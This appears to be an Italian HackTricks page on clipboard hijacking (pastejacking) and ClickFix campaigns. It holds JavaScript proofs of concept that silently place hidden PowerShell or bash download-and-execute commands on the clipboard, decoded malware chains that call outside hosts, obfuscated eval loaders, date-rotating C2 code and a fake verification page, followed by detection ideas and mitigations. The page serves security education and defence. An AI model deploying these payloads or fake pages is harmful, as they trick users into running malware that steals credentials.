Clipboard Hijacking (Pastejacking) Attacks
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
“Non incollare mai qualcosa che non hai copiato personalmente.” – consiglio vecchio ma ancora valido
Panoramica
Clipboard hijacking – also known as pastejacking – sfrutta il fatto che gli utenti copiano e incollano comandi senza verificarli. Una pagina web malevola (o qualsiasi contesto con supporto JavaScript come un’app Electron o Desktop) inserisce programmaticamente testo controllato dall’attaccante negli appunti di sistema. Le vittime vengono incoraggiate, normalmente tramite istruzioni di social engineering accuratamente costruite, a premere Win + R (Run dialog), Win + X (Quick Access / PowerShell), o aprire un terminale e paste il contenuto degli appunti, eseguendo immediatamente comandi arbitrari.
Perché nessun file viene scaricato e nessun allegato viene aperto, la tecnica bypassa la maggior parte dei controlli di sicurezza per e-mail e contenuti web che monitorano allegati, macro o l’esecuzione diretta di comandi. L’attacco è quindi popolare nelle campagne di phishing che distribuiscono famiglie di malware commodity come NetSupport RAT, Latrodectus loader o Lumma Stealer.
Pulsanti di copia forzata e payload nascosti (macOS one-liners)
Alcuni macOS infostealers clonano siti di installer (e.g., Homebrew) e forzano l’uso di un pulsante “Copy” in modo che gli utenti non possano selezionare solo il testo visibile. L’entry negli appunti contiene il comando di installazione atteso più un payload Base64 appendice (e.g., ...; echo <b64> | base64 -d | sh), quindi un singolo incolla esegue entrambi mentre l’interfaccia nasconde lo stadio extra.
JavaScript Proof-of-Concept
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Le campagne più vecchie usavano document.execCommand('copy'), quelle più recenti si affidano all’asincrona Clipboard API (navigator.clipboard.writeText).
Il flusso ClickFix / ClearFake
- L’utente visita un sito typosquattato o compromesso (es.
docusign.sa[.]com) - JavaScript ClearFake iniettato chiama un helper
unsecuredCopyToClipboard()che archivia silenziosamente un one-liner PowerShell codificato in Base64 nella clipboard. - Le istruzioni HTML dicono alla vittima: “Premere Win + R, incollare il comando e premere Invio per risolvere il problema.”
powershell.exeviene eseguito, scaricando un archivio che contiene un eseguibile legittimo più una DLL malevola (classico DLL sideloading).- Il loader decripta fasi aggiuntive, inietta shellcode e installa persistenza (es. scheduled task) – eseguendo infine NetSupport RAT / Latrodectus / Lumma Stealer.
Esempio di catena NetSupport RAT
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe(legittimo Java WebStart) cerca nella sua directorymsvcp140.dll.- La DLL malevola risolve dinamicamente le API con GetProcAddress, scarica due binari (
data_3.bin,data_4.bin) tramite curl.exe, li decifra usando una chiave XOR rolling"https://google.com/", inietta lo shellcode finale ed estrae client32.exe (NetSupport RAT) inC:\ProgramData\SecurityCheck_v1\.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- Scarica
la.txtcon curl.exe - Esegue il JScript downloader con cscript.exe
- Scarica un payload MSI → posiziona
libcef.dllaccanto a un’applicazione firmata → DLL sideloading → shellcode → Latrodectus.
Lumma Stealer via MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
La chiamata mshta avvia uno script PowerShell nascosto che recupera PartyContinued.exe, estrae Boat.pst (CAB), ricompone AutoIt3.exe tramite extrac32 e concatenazione di file e infine esegue uno script .a3x che esfiltra le credenziali del browser verso sumeriavgv.digital.
ClickFix: Clipboard → PowerShell → JS eval → Startup LNK con C2 rotante (PureHVNC)
Alcune campagne ClickFix saltano completamente il download di file e istruiscono le vittime a incollare un one‑liner che recupera ed esegue JavaScript tramite WSH, lo rende persistente e ruota quotidianamente il C2. Esempio di catena osservata:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
Caratteristiche principali
- URL offuscato invertito a runtime per eludere ispezioni casuali.
- JavaScript si rende persistente tramite un Startup LNK (WScript/CScript), e seleziona il C2 in base al giorno corrente – permettendo una rapida rotazione dei domini.
Frammento JS minimale usato per ruotare i C2 in base alla data:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
La fase successiva solitamente distribuisce un loader che stabilisce persistenza e scarica un RAT (es., PureHVNC), spesso effettuando TLS pinning su un certificato hardcoded e suddividendo il traffico in blocchi.
Detection ideas specific to this variant
- Process tree:
explorer.exe→powershell.exe -c→wscript.exe <temp>\a.js(orcscript.exe). - Startup artifacts: LNK in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startupinvoking WScript/CScript with a JS path under%TEMP%/%APPDATA%. - Registry/RunMRU and command‑line telemetry containing
.split('').reverse().join('')oreval(a.responseText). - Repeated
powershell -NoProfile -NonInteractive -Command -with large stdin payloads to feed long scripts without long command lines. - Scheduled Tasks that subsequently execute LOLBins such as
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"under an updater‑looking task/path (e.g.,\GoogleSystem\GoogleUpdater).
Threat hunting
- Daily‑rotating C2 hostnames and URLs with
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>pattern. - Correlate clipboard write events followed by Win+R paste then immediate
powershell.exeexecution.
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
- Windows Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRUconserva una cronologia dei comandi Win + R – cercare voci Base64 / offuscate insolite. - Security Event ID 4688 (Process Creation) where
ParentImage==explorer.exeandNewProcessNamein {powershell.exe,wscript.exe,mshta.exe,curl.exe,cmd.exe}. - Event ID 4663 for file creations under
%LocalAppData%\Microsoft\Windows\WinX\or temporary folders right before the suspicious 4688 event. - EDR clipboard sensors (if present) – correlate
Clipboard Writefollowed immediately by a new PowerShell process.
IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads
Campagne recenti producono in massa pagine di verifica CDN/browser false (“Just a moment…”, IUAM-style) che costringono gli utenti a copiare comandi specifici per l’OS dal loro clipboard nelle console native. Questo sposta l’esecuzione fuori dal sandbox del browser e funziona su Windows e macOS.
Key traits of the builder-generated pages
- OS detection via
navigator.userAgentto tailor payloads (Windows PowerShell/CMD vs. macOS Terminal). Optional decoys/no-ops for unsupported OS to maintain the illusion. - Automatic clipboard-copy on benign UI actions (checkbox/Copy) while the visible text may differ from the clipboard content.
- Mobile blocking and a popover with step-by-step instructions: Windows → Win+R→incolla→Enter; macOS → apri Terminal→incolla→Enter.
- Optional obfuscation and single-file injector to overwrite a compromised site’s DOM with a Tailwind-styled verification UI (no new domain registration required).
Example: clipboard mismatch + OS-aware branching
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok'; // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}
document.getElementById('chk').addEventListener('click', copyReal);
</script>
Persistenza su macOS della prima esecuzione
- Usa
nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &in modo che l’esecuzione continui dopo la chiusura del terminale, riducendo gli artefatti visibili.
In-place page takeover su siti compromessi
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html; // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
document.head.appendChild(s);
})();
</script>
Idee di rilevamento e hunting specifiche per esche in stile IUAM
- Web: Pagine che associano Clipboard API a widget di verifica; discrepanza tra testo visualizzato e clipboard payload; branching basato su
navigator.userAgent; Tailwind + single-page replace in contesti sospetti. - Endpoint Windows:
explorer.exe→powershell.exe/cmd.exesubito dopo un’interazione con il browser; installer batch/MSI eseguiti da%TEMP%. - Endpoint macOS: Terminal/iTerm che avviano
bash/curl/base64 -dconnohupvicino ad eventi del browser; background jobs che sopravvivono alla chiusura del terminale. - Correlare la cronologia
RunMRUdi Win+R e le clipboard writes con la successiva creazione di processi console.
See also for supporting techniques
Mitigazioni
- Indurimento del browser – disabilitare clipboard write-access (
dom.events.asyncClipboard.clipboardItemecc.) o richiedere un gesto esplicito dell’utente. - Consapevolezza della sicurezza – insegnare agli utenti a digitare comandi sensibili o a incollarli prima in un editor di testo.
- PowerShell Constrained Language Mode / Execution Policy + Application Control per bloccare one-liner arbitrari.
- Controlli di rete – bloccare richieste outbound verso domini noti di pastejacking e malware C2.
Trucchi correlati
- Discord Invite Hijacking spesso abusa dello stesso approccio ClickFix dopo aver attirato gli utenti in un server dannoso:
Riferimenti
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC – GitHub
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
- The ClickFix Factory: First Exposure of IUAM ClickFix Generator
- 2025, the year of the Infostealer
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


